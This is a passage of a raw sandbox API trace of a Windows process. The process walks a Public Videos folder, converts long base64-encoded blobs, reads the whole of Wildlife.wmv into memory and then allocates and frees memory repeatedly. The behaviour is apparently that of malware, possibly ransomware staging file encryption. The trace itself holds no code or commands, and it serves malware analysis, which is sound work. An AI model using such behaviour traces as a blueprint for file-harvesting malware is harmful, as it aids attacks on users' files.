ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.012] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0125.012] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0125.012] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0125.012] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0125.012] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0125.012] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a)) returned 1 [0125.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0125.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0125.015] GetCurrentThreadId () returned 0x9fc [0125.015] GetCurrentThreadId () returned 0x9fc [0125.015] GetCurrentThreadId () returned 0x9fc [0125.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0125.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0125.017] GetCurrentThreadId () returned 0x9fc [0125.017] GetCurrentThreadId () returned 0x9fc [0125.017] GetCurrentThreadId () returned 0x9fc [0125.017] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0125.017] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0125.017] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0125.017] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x1907b8a [0125.017] SetFilePointer (in: hFile=0x29c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0125.017] VirtualAlloc (lpAddress=0x0, dwSize=0x1910000, flAllocationType=0x101000, flProtect=0x4) returned 0x7d690000 [0125.019] ReadFile (in: hFile=0x29c, lpBuffer=0x7d690010, nNumberOfBytesToRead=0x1907b8a, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x7d690010*, lpNumberOfBytesRead=0x18f6c4*=0x1907b8a, lpOverlapped=0x0) returned 1 [0131.026] CloseHandle (hObject=0x29c) returned 1 [0131.026] VirtualAlloc (lpAddress=0x0, dwSize=0x1910000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bd80000 [0131.030] VirtualAlloc (lpAddress=0x0, dwSize=0x70000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bd10000 [0131.037] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.037] VirtualAlloc (lpAddress=0x0, dwSize=0x90000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bc80000 [0131.043] VirtualFree (lpAddress=0x7bd10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.049] VirtualQuery (in: lpAddress=0x7bd10000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd10000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.049] VirtualAlloc (lpAddress=0x7bd10000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bd10000 [0131.049] VirtualAlloc (lpAddress=0x7bd10000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bd10000 [0131.054] VirtualQuery (in: lpAddress=0x7bd40000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.054] VirtualAlloc (lpAddress=0x7bd40000, dwSize=0x30000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bd40000 [0131.054] VirtualAlloc (lpAddress=0x7bd40000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bd40000 [0131.059] VirtualQuery (in: lpAddress=0x7bd70000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd70000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.059] VirtualAlloc (lpAddress=0x7bd70000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bd70000 [0131.060] VirtualAlloc (lpAddress=0x7bd70000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bd70000 [0131.061] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.061] VirtualAlloc (lpAddress=0x0, dwSize=0x140000, flAllocationType=0x101000, flProtect=0x4) returned 0x7bb40000 [0131.074] VirtualQuery (in: lpAddress=0x7bc80000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bc80000, AllocationBase=0x7bc80000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.074] VirtualFree (lpAddress=0x7bc80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.078] VirtualQuery (in: lpAddress=0x7bd10000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bd10000, AllocationBase=0x7bd10000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.078] VirtualFree (lpAddress=0x7bd10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.079] VirtualQuery (in: lpAddress=0x7bd40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bd40000, AllocationBase=0x7bd40000, AllocationProtect=0x4, RegionSize=0x30000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.079] VirtualFree (lpAddress=0x7bd40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.080] VirtualQuery (in: lpAddress=0x7bd70000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bd70000, AllocationBase=0x7bd70000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.080] VirtualFree (lpAddress=0x7bd70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.087] VirtualQuery (in: lpAddress=0x7bc80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bc80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x100000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.087] VirtualAlloc (lpAddress=0x7bc80000, dwSize=0x50000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bc80000 [0131.088] VirtualAlloc (lpAddress=0x7bc80000, dwSize=0x50000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc80000 [0131.094] VirtualQuery (in: lpAddress=0x7bcd0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bcd0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.094] VirtualAlloc (lpAddress=0x7bcd0000, dwSize=0x70000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bcd0000 [0131.094] VirtualAlloc (lpAddress=0x7bcd0000, dwSize=0x70000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bcd0000 [0131.104] VirtualQuery (in: lpAddress=0x7bd40000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x40000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.104] VirtualAlloc (lpAddress=0x7bd40000, dwSize=0x40000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bd40000 [0131.104] VirtualAlloc (lpAddress=0x7bd40000, dwSize=0x40000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bd40000 [0131.109] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.109] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7b870000 [0131.142] VirtualQuery (in: lpAddress=0x7bb40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bb40000, AllocationBase=0x7bb40000, AllocationProtect=0x4, RegionSize=0x140000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.142] VirtualFree (lpAddress=0x7bb40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.153] VirtualQuery (in: lpAddress=0x7bc80000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bc80000, AllocationBase=0x7bc80000, AllocationProtect=0x4, RegionSize=0x50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.153] VirtualFree (lpAddress=0x7bc80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.155] VirtualQuery (in: lpAddress=0x7bcd0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bcd0000, AllocationBase=0x7bcd0000, AllocationProtect=0x4, RegionSize=0x70000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.155] VirtualFree (lpAddress=0x7bcd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.160] VirtualQuery (in: lpAddress=0x7bd40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bd40000, AllocationBase=0x7bd40000, AllocationProtect=0x4, RegionSize=0x40000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.160] VirtualFree (lpAddress=0x7bd40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.175] VirtualQuery (in: lpAddress=0x7bb40000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bb40000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x240000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.175] VirtualAlloc (lpAddress=0x7bb40000, dwSize=0xc0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bb40000 [0131.175] VirtualAlloc (lpAddress=0x7bb40000, dwSize=0xc0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bb40000 [0131.192] VirtualQuery (in: lpAddress=0x7bc00000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bc00000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.192] VirtualAlloc (lpAddress=0x7bc00000, dwSize=0xf0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bc00000 [0131.192] VirtualAlloc (lpAddress=0x7bc00000, dwSize=0xf0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc00000 [0131.212] VirtualQuery (in: lpAddress=0x7bcf0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bcf0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.212] VirtualAlloc (lpAddress=0x7bcf0000, dwSize=0x90000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bcf0000 [0131.212] VirtualAlloc (lpAddress=0x7bcf0000, dwSize=0x90000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bcf0000 [0131.223] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.223] VirtualAlloc (lpAddress=0x0, dwSize=0x660000, flAllocationType=0x101000, flProtect=0x4) returned 0x7b210000 [0131.296] VirtualQuery (in: lpAddress=0x7b870000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7b870000, AllocationBase=0x7b870000, AllocationProtect=0x4, RegionSize=0x2d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.296] VirtualFree (lpAddress=0x7b870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.314] VirtualQuery (in: lpAddress=0x7bb40000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bb40000, AllocationBase=0x7bb40000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.314] VirtualFree (lpAddress=0x7bb40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.319] VirtualQuery (in: lpAddress=0x7bc00000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bc00000, AllocationBase=0x7bc00000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.319] VirtualFree (lpAddress=0x7bc00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.324] VirtualQuery (in: lpAddress=0x7bcf0000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bcf0000, AllocationBase=0x7bcf0000, AllocationProtect=0x4, RegionSize=0x90000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c 